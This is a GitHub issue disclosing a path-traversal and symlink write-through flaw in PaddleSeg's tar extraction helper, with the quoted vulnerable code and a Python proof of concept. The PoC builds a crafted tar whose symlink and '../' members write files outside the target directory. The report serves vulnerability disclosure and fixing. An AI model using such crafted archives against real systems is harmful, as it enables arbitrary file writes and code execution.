#3954·PaddleSeg

[Bug] tar extraction in paddleseg/utils/download.py has no member validation (path traversal)

Author: Carlson-JLQCreated Sep 20, 2026Updated Sep 20, 2026
Labelsbug

问题确认 Search before asking

Bug描述 Describe the Bug

Summary

paddleseg.utils.download._uncompress_file_tar extracts tar archives by calling tarfile.extract() per member with no filter= and no member-path/link validation, so a crafted tar can write files outside the target directory extrapath (path traversal + symlink write-through).

Locations

python
# paddleseg/utils/download.py:79-88
def _uncompress_file_tar(filepath, extrapath, mode="r:gz"):
    files = tarfile.open(filepath, mode)
    filelist = files.getnames()
    total_num = len(filelist)
    rootpath = filelist[0]
    for index, file in enumerate(filelist):
        files.extract(file, extrapath)      # <- no filter, no member validation
        yield total_num, index, rootpath
    files.close()

Duplicated at:

  • contrib/MedicalSeg/medicalseg/utils/download.py:85
  • contrib/MedicalSeg/tools/preprocess_utils/uncompress.py:68

Why the zip branch is fine but the tar branch is not

The zip branch (:73) uses zipfile.extract(), which is sanitized by CPython (splitdrive, strips absolute paths and ./.. components, and does not create symlinks from external_attr). tarfile.extract() performs no sanitization: it accepts ../ and absolute paths, and creates symlinks/hardlinks from the archive. This is the CVE-2007-4559 class.

The Python docs warn about extract/extractall; since 3.12 an unspecified filter= raises a DeprecationWarning, and in 3.14 the default becomes filter='data'.

Aggravating factors (same function)

  1. No integrity check before extraction: _download_file uses requests.get(url, stream=True, timeout=15) with no md5/sha verification; an http:// source has no transport protection.
  2. url is a public API parameter: download_file_and_uncompress(url, ...) downloads and unpacks whatever URL it is given, without validating the source.
  3. The same code exists in at least 3 places (including two copies under contrib/).

Steps to reproduce (pure stdlib — no PaddlePaddle/PaddleSeg install needed)

Paste and run this as-is (it only writes to a temp dir):

python
import io, os, tarfile, tempfile

work = tempfile.mkdtemp()
extrapath = os.path.join(work, "extract"); os.makedirs(extrapath)
outside = os.path.join(work, "OUTSIDE"); os.makedirs(outside)

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tf:
    i = tarfile.TarInfo("link"); i.type = tarfile.SYMTYPE; i.linkname = outside
    tf.addfile(i)                                   # symlink pointing outside the target dir
    d = b"ESCAPED\n"
    j = tarfile.TarInfo("link/pwned.txt"); j.size = len(d)
    tf.addfile(j, io.BytesIO(d))                    # write *through* the symlink
    k = tarfile.TarInfo("../escaped_via_dotdot.txt"); k.size = len(d)
    tf.addfile(k, io.BytesIO(d))                    # classic ../ traversal
buf.seek(0)

# ----- equivalent to paddleseg/utils/download.py:_uncompress_file_tar -----
tf = tarfile.open(fileobj=buf, mode="r:gz")
for name in tf.getnames():
    tf.extract(name, extrapath)
tf.close()
# -------------------------------------------------------------------------

print("extrapath (target dir):", os.listdir(extrapath))
print("OUTSIDE/ (should be empty):", os.listdir(outside))
print("parent of extract (should be unchanged):",
      [f for f in os.listdir(work) if f.endswith(".txt")])

Expected results

extract should reject (or skip) members that escape extrapath, and any symlink/hardlink member. No new files should appear in OUTSIDE/ or in the parent of extract.

Actual results

extrapath (target dir): ['link']
OUTSIDE/ (should be empty): ['pwned.txt']                 <- symlink write-through succeeded
parent of extract (should be unchanged): ['escaped_via_dotdot.txt']   <- ../ traversal succeeded

Both escape vectors work.

Impact

Arbitrary file write anywhere the process can write (outside extrapath), plus creation of symlinks pointing anywhere. Combined with PaddleSeg's purpose (download weights/datasets and then load them), this can overwrite Python files or configs that are later loaded → code execution; it can also overwrite existing weight files.

The trigger requires an attacker to influence the URL passed to download_file_and_uncompress (custom dataset/weight URLs, a tampered or MITM'd download source). An http:// source can be exploited directly via MITM.

复现环境 Environment

  • OS: Ubuntu 22.04
  • PaddlePaddle: N/A - reproducible at the plain Python stdlib level; PaddlePaddle is not needed
  • PaddleSeg: local clone (commit 3c4db66d); present on both release/2.10 (default branch) and develop
  • Python: 3.10.12

Bug描述确认 Bug description confirmation

  • 我确认已经提供了Bug复现步骤、代码改动说明、以及环境信息,确认问题是可以复现的。I confirm that the bug replication steps, code change instructions, and environment information have been provided, and the problem can be reproduced.

是否愿意提交PR? Are you willing to submit a PR?

  • 我愿意提交PR!I'd like to help by submitting a PR!